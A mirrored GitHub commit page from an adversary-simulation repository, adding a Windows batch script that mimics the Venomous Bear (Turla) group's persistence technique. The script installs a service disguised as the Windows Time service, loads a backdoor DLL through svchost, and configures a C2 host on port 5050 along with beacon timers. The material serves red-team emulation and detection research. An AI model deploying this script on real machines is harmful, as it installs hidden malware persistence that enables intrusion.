External/APTs-Adversary-Simulation
1
0
Fork 0
mirror of https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git synced 2026-08-04 09:41:40 +02:00
Code Issues Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
S3N4T0R
2024-09-02 09:52:17 -04:00
committed by GitHub
parent efef473245
commit 94d8c0345c
54 changed files with 4002 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Russian APT/Venomous-Bear-APT/setup_time_service.bat
+24
View File
@@ -0,0 +1,24 @@
@echo off
:: Create the service
sc create W64Time binPath= "c:\windows\system32\svchost.exe -k TimeService" type= share start= auto
:: Set the display name and description
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintains date and time synchronization on all clients and servers in the network. If this service is stopped, date and time synchronization will be unavailable. If this service is disabled, any services that explicitly depend on it will fail to start."
:: Register the service under svchost
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
:: Set parameters for the service
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\w64time.dll" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "REMOVED 5050" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "<REMOVED>" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 300000 /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f
:: Start the service
sc start W64Time
echo Service setup completed.
pause